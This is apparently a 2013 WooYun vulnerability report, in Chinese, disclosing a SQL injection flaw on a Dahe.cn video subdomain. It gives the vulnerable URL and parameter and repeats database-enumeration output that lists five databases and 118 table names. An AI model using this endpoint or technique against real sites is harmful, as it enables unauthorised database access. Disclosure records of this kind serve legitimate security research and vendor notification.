漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-037044
漏洞标题：大河网某站存在SQL注射漏洞
相关厂商：大河网
漏洞作者： m1x7e1
提交时间：2013-09-14 11:18
修复时间：2013-10-29 11:18
公开时间：2013-10-29 11:18
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：16
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-09-14： 细节已通知厂商并且等待厂商处理中
2013-09-14： 厂商已经确认，细节仅向厂商公开
2013-09-24： 细节向核心白帽子及相关领域专家公开
2013-10-04： 细节向普通白帽子公开
2013-10-14： 细节向实习白帽子公开
2013-10-29： 细节向公众公开
简要描述：
大河网SQL注射
详细说明：
地址：http://v.dahe.cn/index.php?option=com_content&ItemId=91%20ItemId=91
available databases [5]:
[*] `cis2.1`
[*] information_schema
[*] mysql
[*] shinyv_cis_mms4_2_demo
[*] test
Database: `cis2.1`
[118 tables]
+-----------------------------------+
| shinyv_ad |
| shinyv_ad_list_manager |
| shinyv_admintype |
| shinyv_album |
| shinyv_album_cate |
| shinyv_album_content |
| shinyv_album_favorites |
| shinyv_album_top |
| shinyv_album_url |
| shinyv_albumandfeature_categories |
| shinyv_area |
| shinyv_banner |
| shinyv_bannerclient |
| shinyv_bannerfinish |
| shinyv_blog_cate |
| shinyv_blog_outline |
| shinyv_categories |
| shinyv_categories_tag |
| shinyv_code_converter |
| shinyv_commend_tag |
| shinyv_components |
| shinyv_contact_details |
| shinyv_content |
| shinyv_content_chat |
| shinyv_content_comment |
| shinyv_content_extra |
| shinyv_content_frontpage |
| shinyv_content_rating |
| shinyv_content_top |
| shinyv_core_acl_aro |
| shinyv_core_acl_aro_groups |
| shinyv_core_acl_aro_sections |
| shinyv_core_acl_groups_aro_map |
| shinyv_core_log_items |
| shinyv_core_log_searches |
| shinyv_download_servers |
| shinyv_elite_order |
| shinyv_extra |
| shinyv_extra_section_categories |
| shinyv_firendgroup_categories |
| shinyv_focus_comment |
| shinyv_group_content |
| shinyv_group_focus |
| shinyv_group_focus_top |
| shinyv_group_member |
| shinyv_group_top |
| shinyv_groups |
| shinyv_ip_config |
| shinyv_ip_item |
| shinyv_ip_stactic |
| shinyv_languagereplace |
| shinyv_league |
| shinyv_league_cate |
| shinyv_leave |
| shinyv_log |
| shinyv_log_setting |
| shinyv_mambots |
| shinyv_member_right |
| shinyv_member_saw_video |
| shinyv_menu |
| shinyv_messages |
| shinyv_messages_cfg |
| shinyv_modules |
| shinyv_modules_menu |
| shinyv_newpm |
| shinyv_news_image |
| shinyv_newsfeeds |
| shinyv_ordering_tmp |
| shinyv_pms |
| shinyv_poll_data |
| shinyv_poll_date |
| shinyv_poll_menu |
| shinyv_polls |
| shinyv_resource_categories |
| shinyv_resource_image |
| shinyv_resource_servers |
| shinyv_search_top |
| shinyv_section_top |
| shinyv_sections |
| shinyv_session |
| shinyv_site_user |
| shinyv_site_user_fields |
| shinyv_special |
| shinyv_special_content |
| shinyv_special_leave |
| shinyv_static_info |
| shinyv_static_page_setting |
| shinyv_stats_agents |
| shinyv_tag_info |
| shinyv_tags_section_top |
| shinyv_tags_top |
| shinyv_template_positions |
| shinyv_template_private |
| shinyv_template_user |
| shinyv_templates |
| shinyv_templates_default |
| shinyv_templates_files |
| shinyv_templates_menu |
| shinyv_templates_section |
| shinyv_templates_tags |
| shinyv_timebyplay |
| shinyv_user_detail |
| shinyv_user_favourites |
| shinyv_user_friend |
| shinyv_user_friendgroup |
| shinyv_user_group |
| shinyv_user_mail |
| shinyv_user_subscribe |
| shinyv_users |
| shinyv_usertypes |
| shinyv_video_info |
| shinyv_video_my_play_list |
| shinyv_web_site |
| shinyv_weblinks |
| shinyv_webservice_import |
| shinyv_widget |
| shinyv_widget_cate |
| shinyv_widget_private |
+-----------------------------------+
漏洞证明：
available databases [5]:
[*] `cis2.1`
[*] information_schema
[*] mysql
[*] shinyv_cis_mms4_2_demo
[*] test
Database: `cis2.1`
[118 tables]
+-----------------------------------+
| shinyv_ad |
| shinyv_ad_list_manager |
| shinyv_admintype |
| shinyv_album |
| shinyv_album_cate |
| shinyv_album_content |
| shinyv_album_favorites |
| shinyv_album_top |
| shinyv_album_url |
| shinyv_albumandfeature_categories |
| shinyv_area |
| shinyv_banner |
| shinyv_bannerclient |
| shinyv_bannerfinish |
| shinyv_blog_cate |
| shinyv_blog_outline |
| shinyv_categories |
| shinyv_categories_tag |
| shinyv_code_converter |
| shinyv_commend_tag |
| shinyv_components |
| shinyv_contact_details |
| shinyv_content |
| shinyv_content_chat |
| shinyv_content_comment |
| shinyv_content_extra |
| shinyv_content_frontpage |
| shinyv_content_rating |
| shinyv_content_top |
| shinyv_core_acl_aro |
| shinyv_core_acl_aro_groups |
| shinyv_core_acl_aro_sections |
| shinyv_core_acl_groups_aro_map |
| shinyv_core_log_items |
| shinyv_core_log_searches |
| shinyv_download_servers |
| shinyv_elite_order |
| shinyv_extra |
| shinyv_extra_section_categories |
| shinyv_firendgroup_categories |
| shinyv_focus_comment |
| shinyv_group_content |
| shinyv_group_focus |
| shinyv_group_focus_top |
| shinyv_group_member |
| shinyv_group_top |
| shinyv_groups |
| shinyv_ip_config |
| shinyv_ip_item |
| shinyv_ip_stactic |
| shinyv_languagereplace |
| shinyv_league |
| shinyv_league_cate |
| shinyv_leave |
| shinyv_log |
| shinyv_log_setting |
| shinyv_mambots |
| shinyv_member_right |
| shinyv_member_saw_video |
| shinyv_menu |
| shinyv_messages |
| shinyv_messages_cfg |
| shinyv_modules |
| shinyv_modules_menu |
| shinyv_newpm |
| shinyv_news_image |
| shinyv_newsfeeds |
| shinyv_ordering_tmp |
| shinyv_pms |
| shinyv_poll_data |
| shinyv_poll_date |
| shinyv_poll_menu |
| shinyv_polls |
| shinyv_resource_categories |
| shinyv_resource_image |
| shinyv_resource_servers |
| shinyv_search_top |
| shinyv_section_top |
| shinyv_sections |
| shinyv_session |
| shinyv_site_user |
| shinyv_site_user_fields |
| shinyv_special |
| shinyv_special_content |
| shinyv_special_leave |
| shinyv_static_info |
| shinyv_static_page_setting |
| shinyv_stats_agents |
| shinyv_tag_info |
| shinyv_tags_section_top |
| shinyv_tags_top |
| shinyv_template_positions |
| shinyv_template_private |
| shinyv_template_user |
| shinyv_templates |
| shinyv_templates_default |
| shinyv_templates_files |
| shinyv_templates_menu |
| shinyv_templates_section |
| shinyv_templates_tags |
| shinyv_timebyplay |
| shinyv_user_detail |
| shinyv_user_favourites |
| shinyv_user_friend |
| shinyv_user_friendgroup |
| shinyv_user_group |
| shinyv_user_mail |
| shinyv_user_subscribe |
| shinyv_users |
| shinyv_usertypes |
| shinyv_video_info |
| shinyv_video_my_play_list |
| shinyv_web_site |
| shinyv_weblinks |
| shinyv_webservice_import |
| shinyv_widget |
| shinyv_widget_cate |
| shinyv_widget_private |
+-----------------------------------+
修复方案：
管理员会修复的。
版权声明：转载请注明来源 m1x7e1@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2013-09-14 11:19
厂商回复：
收到，通知技术人员修复！
最新状态：
暂无